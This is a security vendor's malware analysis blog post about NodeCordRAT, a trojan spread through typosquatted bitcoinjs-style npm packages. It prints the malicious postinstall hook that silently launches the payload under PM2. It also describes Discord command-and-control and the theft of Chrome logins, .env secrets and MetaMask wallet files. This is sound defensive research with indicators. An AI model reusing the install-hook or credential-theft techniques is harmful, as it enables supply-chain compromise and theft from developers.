Zscaler Blog
Get the latest Zscaler blog updates in your inbox
Malicious NPM Packages Deliver NodeCordRAT
Introduction
Zscaler ThreatLabz regularly monitors the npm database for suspicious packages. In November 2025, ThreatLabz identified three malicious packages: bitcoin-main-lib, bitcoin-lib-js, and bip40. The bitcoin-main-lib and bitcoin-lib-js packages execute a postinstall.cjs script during installation, which installs bip40, the package that contains the malicious payload. This final payload, named NodeCordRAT by ThreatLabz, is a remote access trojan (RAT) with data-stealing capabilities. It is also possible to download bip40 as a standalone package, completely bypassing the other libraries. To deceive developers into downloading the fraudulent packages, the attacker used name variations of real repositories found within the legitimate bitcoinjs project.
In this blog post, ThreatLabz analyzes how NodeCordRAT uses Discord for command-and-control (C2), performs credential theft, and orchestrates remote shell access. Although the malicious packages have been removed from the npm database, it is important to examine these types of software supply chain vulnerabilities to learn from them.
Key Takeaways
- In November 2025, three malicious
npmpackages,bitcoin-main-lib,bitcoin-lib-js, andbip40, were discovered. These packages were designed to deliver and install a new RAT malware family. - ThreatLabz named this new malware family NodeCordRAT since it is spread via
npmand uses Discord servers for C2 communication. - NodeCordRAT targets Chrome credentials, sensitive secrets such as API tokens, and MetaMask (a popular cryptocurrency platform) data including keys and seed phrases.
- ThreatLabz observed several thousand downloads for these malicious
npmpackages.
Background
The bitcoinjs project is a legitimate open-source JavaScript library used by developers to build Bitcoin-related applications. In this attack, the attacker created packages with names resembling repositories within the bitcoinjs ecosystem. These malicious packages include:
bip40: Mimics legitimate libraries such asbip38,bip39, andbip32, part of the Bitcoin Improvement Proposals (BIPs) standard.bitcoin-main-lib: While not a direct typosquat, this package uses a name similar to bitcoinjs-lib (a legitimate repository) with associations to the ecosystem.bitcoin-lib-js: Closely matches the legitimate bitcoinjs-lib repository.
Package Data Summary
All three of the malicious packages were uploaded by the same author. The email address [email protected] is associated with multiple versions of the packages. The table below lists the malicious packages, their versions, and the approximate number of downloads:
Malicious package name | Version | Approximate number of downloads |
|---|---|---|
bitcoin-lib-js | 7.2.1 | 183 |
bitcoin-main-lib | 7.2.0, 7.0.0 | 2,286 |
bip40 | 1.0.0, 1.0.6 | 958 |
Table 1: Malicious npm package names, version numbers, and approximate number of downloads.
Attack Flows
NodeCordRAT is deployed through npm packages with wrapper packages designed to mask the actual malicious package. For example, a developer may download bitcoin-main-lib or bitcoin-lib-js from npm. When the postinstall.cjs script runs, it will fail because it requires another package with the name bip40. Thus, a developer may install the bip40 package to satisfy this dependency. However, the bip40 package is in fact malicious and deploys the NodeCordRAT payload. The attack flow is illustrated in the figure below.

Figure 1: The attack flow illustrates NodeCordRAT being deployed by bip40, which is a required dependency for wrapper packages (bitcoin-main-lib or bitcoin-lib-js).
Each malicious package includes a package.json, a standard file in npm packages. The attackers modified this file to include a link to the legitimate bitcoinjs project to help the malicious package appear more credible. An excerpt from the package.json code is shown below.
"scripts": {
"audit": "better-npm-audit audit -l high",
"build": "npm run clean && tsc -p ./tsconfig.json && tsc -p ./tsconfig.cjs.json && npm run formatjs",
"postbuild": "find src/cjs -type f -name \"*.js\" -exec bash -c 'mv \"$0\" \"${0%.js}.cjs\"' {} \\; && chmod +x ./fixup.cjs && node fixup.cjs",
"postinstall": "node postinstall.cjs",
"bip40:start": "node postinstall.cjs",
"bip40:stop": "pm2 stop bip40",
"bip40:status": "pm2 status bip40",
"bip40:logs": "pm2 logs bip40",
...,
}
"repository": {
"type": "git",
"url": "https://github.com/bitcoinjs/bitcoinjs-lib.git"
} The postinstall.cjs script automates the execution of bip40 by resolving its entry point via require.resolve() and launching it under Process Manager 2 (PM2). The script determines the PM2 binary path based on the operating system and starts bip40 in detached mode, providing runtime persistence. This means bip40 continues running after the installer exits and PM2 will automatically restart it if it crashes during the current session. However, by default, this does not establish persistence across reboots. If PM2 isn’t locally available, the script logs a warning and exits without launching bip40. Notably, no user interaction is required at any point to trigger bip40. An excerpt from the postinstall.cjs code is shown below.
// Determines the PM2 binary path based on the operating system.
const isWindows = process.platform === 'win32';
const pm2Binary = path.join(
__dirname,
'node_modules',
'.bin',
isWindows ? 'pm2.cmd' : 'pm2'
);
// Checks if PM2 exists.
if (!fs.existsSync(pm2Binary)) {
console.error('pm2 binary not found. Please ensure pm2 is installed.');
process.exit(0); // Exits gracefully.
}
// Starts bip40 with PM2 in detached mode so it doesn't block NPM install.
const args = ['start', bip40Path, '--name', 'bip40'];
const child = spawn(pm2Binary, args, {
detached: true, // Detaches from parent process.
stdio: 'ignore', // Ignores stdio to prevent hanging.
windowsHide: true, // Hides window on Windows.
});
Technical Analysis
The following sections examine NodeCordRAT’s capabilities, including its host fingerprinting, C2 communication, and data exfiltration methods.
Host fingerprinting and channel naming
Before establishing C2 communication, NodeCordRAT performs host fingerprinting to generate a unique identifier for each compromised machine, in the following format:
- On Windows, NodeCordRAT fetches the machine’s UUID using
wmic csproduct get UUIDor the PowerShell command below:
(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID- On Linux and macOS, NodeCordRAT targets files like
/etc/machine-idor uses commands such asioreg -rd1to obtain a unique system ID.
C2 communication
NodeCordRAT uses Discord for its C2 communication. NodeCordRAT first connects to a hardcoded Discord server to initiate a private channel for communication between the infected system and the attacker. Commands are controlled through unique prefixes, as outlined in the table below:
Command prefix | Description | Functionality |
|---|---|---|
!run | Shell command Execution | Executes arbitrary shell commands such as |
!screenshot | Data collection | Captures a full-desktop screenshot and exfiltrates the PNG file to the Discord channel. |
!sendfile | Data exfiltration | Uploads a specified file from the infected machine to the Discord channel. |
Table 2: The command prefixes supported by NodeCordRAT.
Data exfiltration
When NodeCordRAT is run, it will extract the following information from an infected system:
- Chrome credentials: Extracts and uploads Chrome profile
Login DataSQLite databases and theLocal Statefile. - Sensitive secrets: Recursively searches the user’s home directory for filenames containing
.env(skipping common folders likenode_modulesand.git) and uploads any file matches. - MetaMask wallets: Locates and uploads
.ldbfiles under the ChromeUser Datadirectory that include the MetaMask extension ID (nkbihfbeogaeaoehlefnkodbefgpgknn).
This data is exfiltrated using Discord’s API with a hardcoded token and sent to a private channel. The stolen files are uploaded as message attachments via Discord’s REST endpoint /channels/{id}/messages. Before uploading the stolen data, NodeCordRAT verifies that each file exists and is not empty. If sending a file fails, the malware will send an error message to the channel such as "Failed to send file [full file path]: [error message]" or "File does not exist: [full file path]".
Conclusion
ThreatLabz discovered three npm packages that could lead to the installation of NodeCordRAT, which steals sensitive browser information and cryptocurrency data. While these packages have been removed from npm, there will continue to be similar software supply chain threats in the future.
Zscaler Coverage
Zscaler’s multilayered cloud security platform detects indicators related to this threat at various levels with the following threat name:
Indicators Of Compromise (IOCs)
Package name | MD5 hash |
|---|---|
bitcoin-lib-js | 7a05570cda961f876e63be88eb7e12b8 |
bitcoin-main-lib | c1c6f4ec5688a557fd7cc5cd1b613649 |
bip40 | 9a7564542b0c53cb0333c68baf97449c |
MITRE ATT&CK Framework
Tactic | Technique ID | Technique name | Description |
|---|---|---|---|
Initial Access | T1588.006 | Obtain Capabilities: Code Signing Certificates | The attacker creates a compelling narrative around a legitimate-looking |
Initial Access | T1584.007 | Compromise Infrastructure: Development Platforms | The attacker uses a typosquatted |
Execution | T1059.007 | Command and Scripting Interpreter: JavaScript/JScript | The core malicious payload is a Node.js script. This technique involves executing malicious code written in JavaScript, which is native to the Node.js environment. |
Defense Evasion | T1027 | Obfuscated Files or Information | The original code used minimal obfuscation (hexadecimal characters, uninformative variable names) to confuse automated analysis and frustrate human reverse-engineering. |
Discovery | T1082 | System Information Discovery | The script gathers detailed system information, including operating system ( |
Discovery | T1016 | System Network Configuration Discovery | The script implicitly relies on network access to establish the Discord connection and C2 channel. |
Command and Control (C2) | T1102.002 | Web Service: Social Media | The script uses the Discord API as its primary C2 communication channel for sending and receiving commands, and exfiltrating data, using a dedicated, private channel per endpoint. |
Collection | T1552.001 | Unsecured Credentials: Credentials in Files | The script actively searches for and exfiltrates unencrypted or weakly-encrypted files (e.g., |
Collection | T1539 | Steal Web Session Cookie | The script targets the Chrome User Data directory, indicating an intent to steal web browser session data, cookies, and saved login credentials. |
Collection | T1213.001 | Data from Local System: File Sharing | The custom |
Collection | T1113 | Screen Capture | The implementation of the |
Credential Access | T1555.003 | Credentials from Web Browsers | The script specifically targets the Chrome |
Exfiltration | T1041 | Exfiltration Over C2 Channel | All sensitive data gathered (e.g., passwords, |
Was this post useful?
Disclaimer: This blog post has been created by Zscaler for informational purposes only and is provided "as is" without any guarantees of accuracy, completeness or reliability. Zscaler assumes no responsibility for any errors or omissions or for any actions taken based on the information provided. Any third-party websites or resources linked in this blog post are provided for convenience only, and Zscaler is not responsible for their content or practices. All content is subject to change without notice. By accessing this blog, you agree to these terms and acknowledge your sole responsibility to verify and use the information as appropriate for your needs.
Get the latest Zscaler blog updates in your inbox
By submitting the form, you are agreeing to our privacy policy.


